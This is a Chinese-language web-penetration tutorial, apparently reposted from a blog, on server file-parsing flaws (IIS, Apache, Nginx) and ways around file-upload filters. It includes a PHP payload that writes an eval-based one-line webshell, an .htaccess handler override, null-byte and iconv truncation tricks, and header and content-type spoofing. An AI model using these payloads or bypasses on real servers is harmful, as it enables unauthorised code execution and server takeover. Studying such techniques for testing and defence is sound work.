浅谈文件解析及上传漏洞
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈文件解析及上传漏洞相关的知识,希望对你有一定的参考价值。
中国菜刀
在web渗透中,我最期待两种漏洞,一种是任意命令执行漏洞,如struct2漏洞等;另一种是文件上传漏洞,因为这两种漏洞都是获取服务器权限最快最直接的方法。而对于任意命令执行漏洞,如果是通过内网映射出来的,那么可能还需要使用不同的手段进行木马文件上传,从而获取webshell,通过webshell进行端口转发或者权限提升。
本文主要是介绍文件上传中的个人利用技巧经验汇总,讲解分为两部分:一部份是文件解析漏洞,另一部份是文件上传漏洞。
文件解析漏洞
解析漏洞主要是一些特殊文件被iis、Apache、nginx等服务在某种情况下解释成脚本文件格式并得以执行而产生的漏洞。
iis 5.x/6.0解析漏洞
iis6.0解析漏洞主要有以下三种:
1. 目录解析漏洞 /xx.asp/xx.jpg
在网站下创建文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做asp文件来解析并执行。因此只要攻击者可以通过该漏洞直接上传图片马,并且可以不需要改后缀名!
2. 文件解析 xx.asp;.jpg
在iis6.0下,分号后面的不被解析,所以xx.asp;.jpg被解析为asp脚本得以执行。
3. 文件类型解析 asa/cer/cdx
iis6.0 默认的可执行文件除了asp还包含这三种asa、cer、cdx。
Apache解析漏洞
Apache对文件的解析主要是从右到左开始判断并进行解析,如果判断为不能解析的类型,则继续向左进行解析,如xx.php.wer.xxxxx将被解析为PHP类型。
IIS 7.0/ Nginx <8.03畸形解析漏洞
在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为:<?PHP fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval($_POST[cmd])?>‘);?>
然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。
Nginx<8.03空字节代码执行漏洞
nginx如下版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码。
另一种Nginx文件漏洞是从左到右进行解析,既可绕过对后缀名的限制,又可上传木马文件,因此可以上传XXX.jpg.php(可能是运气,也可能是代码本身问题,但在其他都不能成功的条件下可以试试)。如下:Content-Disposition: form-data; name="userfiles"; filename="XXX.jpg.php"
htaccess文件解析
如果Apache中.htaccess可被执行并可被上传,那么可以尝试在.htaccess中写入:<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后再上传shell.jpg的木马,这样shell.jpg就可被解析为PHP文件了。
操作系统特性解析
由于windows会将文件的后缀中的空格以及点进行过滤,如果遇到是黑名单校验的,如限制不允许上传PHP文件,而系统又是windows系统,那么我们可以上传xx.php ,或者xx.php.,通过这种方式就可以绕过黑名单检验的文件上传!
文件上传漏洞
文件头欺骗漏洞
在一句话木马前面加入GIF89a,然后将木马保存为图片格式,可以欺骗简单的waf。
filepath漏洞
filepath漏洞主要用来突破服务器自动命名规则,主要有以下两种利用方式:
1、改变文件上传后路径(filepath),可以结合目录解析漏洞,路径/x.asp/
2、直接改变文件名称(都是在filepath下进行修改),路径/x.asp;.
00截断
00截断的两种利用方式:
1、更改filename,xx.php .jpg,在burpsuit中将空格对应的hex 20改为00
2、更改filename,xx.php%00.jpg,在burpsuit中将%00进行右键转换-url-urldecoder
filetype漏洞
filetype漏洞主要是针对content-type字段,主要有两种利用方式:
1、先上传一个图片,然后将content-type:images/jpeg
改为content-type:text/asp
,然后对filename进行00截断,将图片内容替换为一句话木马。
2、直接使用burp抓包,得到post上传数据后,将Content-Type: text/plain
改成 Content-Type: image/gif
。
iconv函数限制上传
如果某天你上传文件发现,不管你上传什么文件,上传后的文件都会自动添加一个.jpg的后缀,那么我们可以怀疑是否是使用iconv这个函数进行了上传的限制,此时我们可以使用类似00截断的方法,但是这里不是00截断,二是80-EF截断,也就是说我们可以修改HEX为80到EF中的某一个来进行截断,如果真是使用这个函数的话,那么恭喜你上传任意文件成功!如上传一个xx.php ,然后截断抓包将后面的空格对应的十六进制改为80到EF中的任意一个!
双文件上传
再一个文件上传的地方,右键审查元素,首先修改action为完整路径,然后复制粘贴上传浏览文件(<input ......),这样就会出现两个上传框,第一个上传正常文件,第二个选择一句话木马,然后提交。!参考链接
表单提交按钮
我们有时扫描发现上传路径,可是只有一个浏览文件,却没有提交按钮,此时我们就需要写入提交按钮。
写入表单:
F12审查元素,在选择文件表单下面添加提交按钮代码。<input type="submit" value="提交" name="xx">
本文出自 “eth10” 博客,请务必保留此出处http://eth10.blog.51cto.com/13143704/1956032
以上是关于浅谈文件解析及上传漏洞的主要内容,如果未能解决你的问题,请参考以下文章